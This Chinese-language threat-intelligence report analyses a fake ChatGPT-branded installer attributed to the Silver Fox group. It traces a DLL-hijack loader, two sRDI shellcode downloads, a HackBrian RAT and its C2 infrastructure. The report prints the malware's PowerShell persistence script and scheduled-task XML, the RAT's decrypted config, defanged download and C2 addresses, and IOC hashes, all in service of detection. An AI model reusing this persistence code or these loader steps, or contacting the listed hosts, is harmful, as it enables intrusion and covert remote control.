一、概述
近期,天穹沙箱分析人员在公网样本狩猎时发现一个高危样本,该样本将自身伪装为ChormeGPT_install.exe
安装包,诱导用户点击执行,在安装过程中完成C2通信和持久化注册。对样本溯源后发现,有多个样本访问了相同的C2地址,并且都是以安装包的形式存在。根据攻击手法判断,这些样本均来源于银狐组织。由于这批样本中引入了一些与之前不同的攻击手段,下面我们将对该样本进行深度分析。
二、基本信息
- 样本名:ChormeGPT_install.exe
- SHA1: fbfb6f953acb8924bfacf3d6c84a4991310a9761
- 文件类型:EXE
- 文件大小:1.15 MB
- PDB:C:\CodeBases\isdev\redist\Language Independent\i386\ISP\setup.pdb
- 分析报告:天穹沙箱分析报告
三、深度分析
该样本行为较复杂,使用了多种反EDR技术,涉及多次Shellcode加载,我们先让TQGPT
对样本行为做一个总结,如图1所示,下面再结合天穹沙箱报告分阶段介绍该样本的攻击实施路径。
阶段一:下载白加黑文件
样本本体是一个名为ChormeGPT_install.exe
的安装包,包含R*****k
公司两个非法签名证书,如图2所示:
样本执行后,首先尝试从154.82.68.34
下载两个高危文件GDFInstall.exe
和GameuxInstallHelper.dll
, 如图3所示:
下载流量并未使用任何加密或混淆手段,因此也被IDS流量告警,如图4所示:
验证下载文件的签名证书发现,GDFInstall.exe
具有合法数字签名,而GameuxInstallHelper.dll
签名非法,这是一个典型的DLL劫持
,如图5所示,使用这种攻击方式可绕过部分EDR检测。在此前的分析中,我们也提到银狐组织非常喜欢使用这种攻击手法。
阶段二:下载Shellcode1
下载文件成功后,样本执行GDFInstall.exe
创建新进程,新进程要求用户授予管理员权限,如图6所示。软件安装利用管理员权限完成必要的文件拷贝和配置注册等是正常安装操作,但如果软件依赖的DLL遭到恶意DLL劫持,软件本身所有的管理员权限直接共享给恶意DLL,这就为DLL后续的恶意行为提供了便利,直接享有管理员权限。
沙箱动态行为显示,GDFInstall.exe
进程利用回调函数 RegisterWithMediaCenterW
执行shellcode,如图7所示:
静态分析结果同样显示GDFInstall.exe
调用RegisterWithMediaCenterW
完成注册过程,如图8所示,而接口RegisterWithMediaCenterW
已被黑DLL–GameuxInstallHelper.dll
–替换用以执行恶意操作。
RegisterWithMediaCenterW
函数逻辑如下:
---> 从当前进程PEB获取已加载的模块链表
---> 从模块链表中获取导出表、名称表和序号表,遍历名称表直至匹配到GetProcAddress字符串
---> 根据对应序号从函数地址表中取得实际函数地址并返回
拿到GetProcAddress
地址后,函数调用GetProcAddress
获取LoadLibrary
接口地址,接着利用这两个接口加载相关模块和获取其他API地址, 如图10所示:
样本加载的模块和获取的API如下表所示:
加载模块 | API |
---|---|
user32 | GetLastInputInfo |
MessageBoxA | |
ws2_32 | WSAStartup |
socket | |
htons | |
inet_pton | |
closesocket | |
WSACleanup | |
recv | |
kernel32 | LoadLibraryA |
GetProcAddress | |
VirtualAlloc | |
GetTickCount |
获取了必要API地址后,样本使用TCP协议与134.122.134.93[:]8852
建立连接,下载并执行第一段Shellcode,如图11所示:
根据还原后的Shellcode规则匹配结果判定,该Shellcode符合sRDI(Shellcode Reflective DLL Injection)特征, 如图12所示:
一些读者可能不了解sRDI技术,这里我们再次询问TQGPT获取该技术的原理、实现步骤和防御措施,如图13所示:
天穹沙箱分析人员排查后发现,该Shellcode实际使用Github开源项目monoxgas/sRDI生成,对比sRDI源码可发现大量相同特征,如图14所示:
阶段三:注册持久化及下载Shellcode2
直接分析Shellcode比较困难,我们注意到sRDI项目在生成Shellcode时有一定的规则,从项目源码来看,生成的Shellcode由以下几部分构成:
- Bootstrap shellcode
- RDI shellcode
- DLL bytes
- User data
拼接部分的代码如下:
1 2 3 4 5 6 | # Ends up looking like this in memory: # Bootstrap shellcode # RDI shellcode # DLL bytes # User data return bootstrap + rdiShellcode + dllBytes + userData |
也就是说,原始的DLL数据就在RDI Shellcode
之后。利用该特点,我们拿到了原始DLL数据,如图15所示,或者也可以直接搜索MZ
头获取原始DLL数据。
原始DLL利用base64解码脚本内容,分别写入updated.ps1
和PolicyManagement.xml
文件,并调用Powershell命令执行updated.ps1
,如图16所示:
释放的两个文件内容如下:
- updated.ps1
1 2 3 4 | $xmlPath = “C:\Users\win10user\AppData\Local\PolicyManagement.xml” $taskName = “.NET Framework NGEN v4.0.30320” $xmlContent = Get-Content -Path $xmlPath | Out-String Register-ScheduledTask -Xml $xmlContent -TaskName $taskName |
- PolicyManagement.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | <?xml version=”1.0″ encoding=”UTF-16″?> <Task version=”1.3″ xmlns=”http://schemas.microsoft.com/windows/2004/02/mit/task”> <RegistrationInfo> <Date>2006-11-10T14:29:55.5851926</Date> <Author>Microsoft Corporation</Author> <Description>更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提供凭据提示。</Description> <URI>\AS AMD updata</URI> <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor> </RegistrationInfo> <Triggers> <LogonTrigger id=”06b3f632-87ad-4ac0-9737-48ea5ddbaf11″> <Enabled>true</Enabled> <Delay>PT30S</Delay> </LogonTrigger> </Triggers> <Principals> <Principal id=”AllUsers”> <GroupId>S-1-1-0</GroupId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession> <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> <RestartOnFailure> <Interval>PT1M</Interval> <Count>16</Count> </RestartOnFailure> </Settings> <Actions Context=”AllUsers”> <Exec> <Command>C:\Users\win10user\AppData\Roaming\GDFInstall.exe</Command> </Exec> </Actions> </Task> |
我们让TQGPT解读一下脚本的功能,如图17所示:
根据TQGPT解读,ps1脚本功能是将PolicyManagement.xml
注册为计划任务,计划任务内容是在用户登录时延迟30秒启动C:\Users\win10user\AppData\Roaming\GDFInstall.exe
,以此实现持久化
。
随后,该DLL连接134.122.134.93[:]18852
下载第二段Shellcode并执行,如图18所示:
阶段四:连接C2接收指令
第二段Shellcode与第一段Shellcode相同,同样是使用sRDI生成,使用上述还原方法可得到原始DLL数据。
经过分析,此段Shellcode是银狐目前常使用的HackBrian RAT,在DllMain中可以找到全局配置信息字符串,银狐还对配置信息做了简单的字符串反转
处理,如图19所示:
解密后的配置信息如下,各个配置字段使用|
分隔:
1 | |p1:134.122.134.93|o1:9090|t1:1|p2:134.122.134.93|o2:9091|t2:1|p3:134.122.134.93|o3:9092|t3:1|dd:1|cl:1|fz:默认|bb:1.0|bz:2024.11.28|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0| |
我们让TQGPT推测一下各个配置字段的含义,如图20所示:
根据TQGPT的回答,我们知道样本配置了三个C2地址(p1、p2、p3和o1、o2、o3字段),且均设置超时时间为1s(t1、t2、t3字段):
- 134.122.134.93:9090
- 134.122.134.93:9091
- 134.122.134.93:9092
其中,bz
为互斥量,值为2024.11.28
,说明该样本可能于2024年11月28日构建,在动态行为中也可以看到该行为,如图21所示:
之后,样本连接C2,并开启新线程接收指令,如图22所示:
总结
通过以上四阶段分析,可以看出该样本采用了模块化设计,利用远程下发DLL和在内存中加载拆解了复杂的任务执行,在分析过程中我们的确有收到RAT远程下发的DLL,如图23所示:
进一步分析发现,此RAT至少包含以下功能:
- 获取用户名、计算机系统、CPU、显卡、显示器、硬盘等信息
- 获取前台窗口名
- 进程注入
- 命令执行
- 键盘记录
- 注册表操作
- 屏幕监控(差异屏幕)
更多功能分析不再赘述。
四、溯源拓线
以下是对样本使用的两个IP溯源的结果。
- 154.82.68.34
查询154.82.68.34
的注册信息等发现,该IP归属于中国香港,不属于任何云服务器厂商或VPS。扫描154.82.68.34
的全部端口后,汇总其开放端口情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | PORT STATE SERVICE 25/tcp filtered smtp 80/tcp open http 135/tcp filtered msrpc 136/tcp filtered profile 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 3389/tcp open ms-wbt-server 4444/tcp filtered krb524 5554/tcp filtered sgi-esphttp 5985/tcp open wsman 8888/tcp open sun-answerbook 9182/tcp open unknown 16651/tcp open http 16652/tcp open http 16653/tcp open http 16654/tcp open http 16655/tcp open http 16656/tcp open http 47001/tcp open winrm 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49177/tcp open unknown 49182/tcp open unknown |
其中,端口16651-16656都开放了HTTP服务,使用以下链接均可以下载GDFInstall.exe
和GameuxInstallHelper.dll
文件,推测用作备用链接。
1 2 3 4 5 6 | http[:]//154.82.68.34[:]16651/GDFInstall.exe http[:]//154.82.68.34[:]16652/GDFInstall.exe http[:]//154.82.68.34[:]16653/GDFInstall.exe http[:]//154.82.68.34[:]16654/GDFInstall.exe http[:]//154.82.68.34[:]16655/GDFInstall.exe http[:]//154.82.68.34[:]16656/GDFInstall.exe |
- 134.122.134.93
查询134.122.134.93
的注册信息等发现,该IP同样归属于中国香港,不属于任何云服务器厂商或VPS。扫描134.122.134.93
的全部端口,汇总其开放端口情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | PORT STATE SERVICE 135/tcp filtered msrpc 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 139/tcp open netbios-ssn 445/tcp filtered microsoft-ds 1737/tcp filtered ultimad 1900/tcp filtered upnp 4444/tcp filtered krb524 5554/tcp filtered sgi-esphttp 5985/tcp open wsman 7547/tcp filtered cwmp 8852/tcp open unknown 9090/tcp open zeus-admin 9091/tcp open xmltec-xmlmail 9092/tcp open XmlIpcRegSvc 18852/tcp open unknown 23389/tcp open unknown 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49676/tcp open unknown 49787/tcp open unknown |
其中,端口8852和18852用于Payload下载,而9090-9092用于C2上线。
在溯源样本使用的两个IP地址时,我们发现以下样本也属于银狐组织样本,投递时间在12月5日左右,攻击方式非常相似。
1 2 | 5db463403df51ec6ee325d5239e608e8d5c3e4ee Fondue.EXE (SHA1) c9ac07068c9b1f01fbcf5cfa575c4c2b0cf30733 InstallShield Setup.exe (SHA1) |
此外,我们在某非法网站发现有人售卖银狐的HackBrian
远控破解版,如图24、25所示,包含的截图功能和上述RAT功能非常相似。
五、IOC
恶意文件(SHA1)
1 2 3 4 5 | fbfb6f953acb8924bfacf3d6c84a4991310a9761 ChormeGPT_install.exe 033b61ab5c51e4e3282d956ffa20cc2c50c48ce2 GDFInstall.exe 9e7967855f3627d999cf9f1d4e424f360092cece GameuxInstallHelper.dll 1f5822fa97e11b8bef57b69f0981589bc5fdfee6 Shellcode1 b12d8396c6c8debad1e029d3631b14784f512ed7 Shellcode2 |
恶意链接
1 2 3 4 5 6 7 | http[:]//154.82.68.34:16653/GDFInstall.exe 下载GDFInstall.exe http[:]//154.82.68.34:16653/GameuxInstallHelper.dll 下载GameuxInstallHelper.dll 134.122.134.93[:]8852 下载Shellcode1 134.122.134.93[:]18852 下载Shellcode2 134.122.134.93[:]9090 C2地址 134.122.134.93[:]9091 C2地址 134.122.134.93[:]9092 C2地址 |
报告链接
特别注意
截至发稿时,以上样本C2地址仍存活,且样本未被上传到VT,请务必保持警惕。
六、技术支持与反馈
星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。
天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。
天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。